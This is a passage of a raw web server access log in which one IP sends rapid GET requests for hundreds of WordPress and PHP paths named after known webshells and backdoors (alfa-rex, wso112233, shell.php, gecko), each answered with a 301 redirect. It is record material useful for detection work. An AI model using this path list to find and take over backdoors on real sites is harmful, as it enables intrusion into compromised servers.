- [09/Apr/2025:14:24:28 -0400] "GET /css/xp.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:29 -0400] "GET /wp-includes/assets/themes.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:30 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:30 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:31 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:31 -0400] "GET /wp-includes/SimplePie/Content/Type/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:32 -0400] "GET /js/style.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:33 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:33 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:34 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:35 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:36 -0400] "GET /.well-known/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:36 -0400] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:37 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:37 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:38 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:39 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:39 -0400] "GET /wp-content/upgrade/shell.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:40 -0400] "GET /wp-admin/user/bak.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:40 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:41 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:42 -0400] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:42 -0400] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:43 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:43 -0400] "GET /.well-known/.well-known/cc.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:44 -0400] "GET /wp-includes/pomo/chosen.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:45 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:45 -0400] "GET /css/cong.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:46 -0400] "GET /wp-includes/customize/shell.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:46 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:47 -0400] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:48 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:48 -0400] "GET /cgi-bin/fm.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:49 -0400] "GET /wp-includes/block-supports/variations.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:50 -0400] "GET /wp-includes/rest-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:51 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:52 -0400] "GET /wp-content/languages/link.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:53 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:53 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:54 -0400] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:55 -0400] "GET /wp-includes/fonts/item.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:56 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:56 -0400] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:57 -0400] "GET /wp-content/plugins/seoplugins/wso112233.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:58 -0400] "GET /wp-includes/sodium_compat/link.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:59 -0400] "GET /wp-includes/images/wlw/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:01 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:02 -0400] "GET /wp-content/plugins/WordPressCore/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:03 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:06 -0400] "GET /wp-includes/style-engine/content.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:08 -0400] "GET /wordpress/wp-admin/includeswp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:09 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:10 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:11 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:12 -0400] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:13 -0400] "GET /wp-mail.php/wp-includes/ID3/Core32.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:14 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:15 -0400] "GET /wp-admin/includes/install.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:17 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:18 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:18 -0400] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:19 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:20 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:20 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:21 -0400] "GET /admin/ty.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:21 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:22 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:23 -0400] "GET /wp-content/themes/cay-van-phong/3luaO.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:24 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:24 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:25 -0400] "GET /wp-mail.php/wp-includes/ID3/info.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:25 -0400] "GET /admin/images/slider/CUfcfoH.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:26 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:27 -0400] "GET /wp-includes/blocks/edit.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:27 -0400] "GET /wp-includes/lock.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:28 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:28 -0400] "GET /wp-content/upgrade/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:29 -0400] "GET /wp-includes/certificates/up.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:30 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:30 -0400] "GET /admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:31 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:32 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:33 -0400] "GET /wp-includes/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:34 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:35 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:35 -0400] "GET /admin/upload/themes-install.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:36 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:37 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:37 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:38 -0400] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:39 -0400] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:39 -0400] "GET /include/mail.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:39 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:40 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:40 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:41 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:42 -0400] "GET /wp-content/plugins/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:42 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:42 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:43 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:43 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:44 -0400] "GET /wp-includes/SimplePie/Decode/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:44 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:45 -0400] "GET /wp-admin/upgrade.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:45 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:46 -0400] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:46 -0400] "GET /wp-content/upgrade/info.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:47 -0400] "GET /wp-includes/Requests/Cookie/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:47 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:48 -0400] "GET /plugins/phpThumb/404.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:49 -0400] "GET /wp-includes/html-api/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:50 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:51 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:52 -0400] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:52 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:53 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:53 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:54 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:54 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:55 -0400] "GET /.well-known/pki-validation/siteindex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:55 -0400] "GET /plugins/DaoZM.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:56 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:56 -0400] "GET /cgi-bin/1.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:57 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:58 -0400] "GET /wp-content/plugins/pwnd/gecko.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:58 -0400] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:59 -0400] "GET /assets/item.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:25:59 -0400] "GET /wp-includes/SimplePie/system.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:00 -0400] "GET /about/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:01 -0400] "GET /Assets/admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:02 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:02 -0400] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:03 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:04 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:04 -0400] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:05 -0400] "GET /.well-known/pki-validation/fm.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:05 -0400] "GET /wp-content/configs.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:06 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:07 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:07 -0400] "GET /assets/admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:09 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:09 -0400] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:10 -0400] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:10 -0400] "GET /wp-includes/SimplePie/Content/Type/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:12 -0400] "GET /admin/fckeditor/editor/filemanager/owlmailer.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:13 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:14 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:14 -0400] "GET /wp-content/themes/wp-pridmag/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:15 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:17 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:18 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:19 -0400] "GET /wp-includes/rest-api/blue.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:20 -0400] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:20 -0400] "GET /wp-content/wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:22 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:23 -0400] "GET /wp-content/upgrade-temp-backup/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:24 -0400] "GET /.well-known/pki-validation/jp.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:24 -0400] "GET /wp-includes/Requests/Response/siteindex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:26 -0400] "GET /wp-includes/blocks/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:26 -0400] "GET /wp-admin/tools.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:27 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:27 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:28 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:29 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:29 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:30 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:31 -0400] "GET /wp-includes/images/smilies/network.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:31 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:32 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:33 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:33 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:34 -0400] "GET /wp-content/plugins/Cache.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:34 -0400] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:35 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:36 -0400] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:36 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:37 -0400] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:37 -0400] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:38 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:39 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:39 -0400] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:40 -0400] "GET /Assets/edit.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:41 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:41 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:42 -0400] "GET /.well-known/pkivalidation/log.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:42 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:43 -0400] "GET /wp-admin/packed.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:43 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:44 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:45 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:45 -0400] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:46 -0400] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:47 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:47 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:48 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:49 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:50 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:51 -0400] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:51 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:52 -0400] "GET /wp-includes/html-api/cloud.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:52 -0400] "GET /wp-includes/wp-includes/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:53 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:54 -0400] "GET /.well-known/acme-challenge/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:55 -0400] "GET /wp-includes/pomo/rk2.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:55 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:56 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:57 -0400] "GET /wp-content/themes/plugin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:57 -0400] "GET /admin/controller/extension/extension/blue.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:58 -0400] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:26:59 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:01 -0400] "GET /wp-includes/js/crop/shell.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:02 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:04 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:05 -0400] "GET /wp-mail.php/wp-includes/ID3/esyfvxgmdq.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:05 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:06 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:07 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:09 -0400] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:09 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:10 -0400] "GET /wp-includes/images/media/text.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:27:11 -0400] "GET 